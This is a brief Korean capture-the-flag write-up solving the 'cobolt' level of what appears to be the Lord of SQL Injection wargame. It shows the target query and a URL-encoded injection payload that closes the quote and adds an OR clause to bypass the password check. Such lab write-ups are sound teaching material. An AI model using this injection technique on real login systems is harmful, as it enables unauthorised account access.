LOS 2.cobolt 풀이 (난이도 최하)

 

 

::문제풀이

if($result['id'] == 'admin') solve("cobolt");

이부분을 보면 id가 admin일 때 cobolt를 풀 수 있다고 했으니 

위에서 id를 admin으로 설정해준다.

?id=admin

이렇게 넣어주면

query : select id from prob_cobolt where id='admin' and pw=md5('')

쿼리에서 id가 admin으로 변한다.

여기서 뒤에를 무시해줘야하는데 이때 or을 사용해서 해결한다.

그리고 pw에는 아무거나 넣어준다.

나는 공란으로 남겨뒀다.

 

::답

?id=admin%27%20or%20pw=%27